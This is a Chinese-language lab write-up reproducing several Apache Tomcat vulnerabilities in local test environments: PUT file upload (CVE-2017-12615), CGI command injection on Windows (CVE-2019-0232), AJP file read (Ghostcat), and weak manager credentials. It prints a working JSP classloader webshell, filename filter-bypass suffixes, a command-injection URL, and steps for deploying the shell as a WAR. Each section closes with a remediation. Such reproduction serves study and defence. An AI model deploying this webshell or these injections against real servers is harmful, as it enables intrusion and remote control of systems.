影响范围: Tomcat 7.0.0-7.0.81(默认配置)
测试环境:Apache Tomcat v8.5.39
Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件
。
如果配置了默认servlet
,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的CVE-2017-12615漏洞
docker打开环境https://github.com/vulhub/vulhub
docker ps
docker exec -ti 9eb90787a80f bash
cat conf/web.xml | grep readonly
可以看到Tomcat配置文件/conf/web.xml 配置了可写(readonly=false)
抓个包,修改一下数据包改成put,写入一个jsp文件
既然可以写入任意文件,那也可以写入后门来getshell
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
如存在过滤
文件后缀加/ ( 应用系统中 /在文件名中是非法的,会被自动去除)
文件后缀加::$DATA
文件后缀加&20 (windows不允许空格结尾
将readonly=true,默认为true。
影响范围:9.0.0.M1 ~ 9.0.17 , 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93
测试环境:Apache Tomcat v8.5.39(apache V8.5.39)、windows
CVE-2019-0232漏洞是由于Tomcat CGI
将命令行参数
传递
给Windows程序的方式存在错误
,使得CHIServler被命令注入影响。该漏洞只影响Windows平台,要求启用了CGIServlet和enableCmdLineArguments参数
。但是
CGIServlet和enableCmdLineArguments参数默认情况下都不启用
。
376行和419行取消注释并添加参数
debug
0
executable
在content.xml 19行处添加privileged属性为true
在Tomcat\webapps\ROOT\WEB-INF新建cgi目录,并创建xxx.bat文件,名字内容任意。
bin目录下startup.bat 开启tomcat服务
访问http://your-ip/cgi-bin/test.bat?&C:/Windows/System32/net+user,执行net user 命令
(net命令的路径要写全,直接写net user,Tomcat控制台会提示net不是内部命令,也不是可运行的程序,另 必须使用+号连接,使用空格,%2B都会执行失败,控制台报错。)
这个默认是关闭的,如果打开了请关闭,若需使用请升级版本。
影响范围:7 ~ 7.0.099 、8 ~ 8.5.50 、9 ~ 9.0.30
测试环境:Apache Tomcat v9.0.30
由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件
,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下
,配合文件包含的利用还可以达到远程代码执行的危害
。
nmap扫到还有一个AJP端口8009正在监听
使用工具读取 web.xml文件
YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp协议文件读取漏洞 (github.com)
(这里试了一下能不能通过文件包含实现RCE,但是只会读文件不会执行命令不知道怎么回事)
将 Tomcat 升级
到 9.0.31、8.5.51或 7.0.100 版本进行漏洞修复。如无法立即进行版本更新、或者是更老版本的用户,建议直接关闭AJPConnector
,或将其监听地址改为仅监听本机localhost
。
环境:Apache Tomcat/7.0.94
在conf/tomcat-users.xml文件中配置用户的权限和一个弱口令tomcat/tomcat
:
Tomcat 7+的权限有:
manager(后台管理)
host-manager(虚拟主机管理)
正常安装的情况下,tomcat7.0.94中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。
访问 http://127.0.0.1:8080/manager/html ,输入弱口令tomcat/tomcat进入后台(弱口令可以进行爆破)
写一个jsp的木马(见上),然后打包成war包,上传的war会被自动解压部署
jar -cvf shell.war shell.jsp
war包是用来进行Web开发时一个网站项目下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。
当开发人员开发完毕时,就会将源码打包给测试人员测试,测试完后若要发布则也会打包成War包进行发布。
War包可以放在Tomcat下的webapps或word目录,当Tomcat服务器启动时,War包即会随之解压源代码来进行自动部署。
可以看到已经上传上去了,接着使用蚁剑连接后门127.0.0.1:8080/shell/shell.jsp
取消manager/html功能。若要使用,manager页面应只允许本地IP访问
常见中间件——Tomcat漏洞复现分析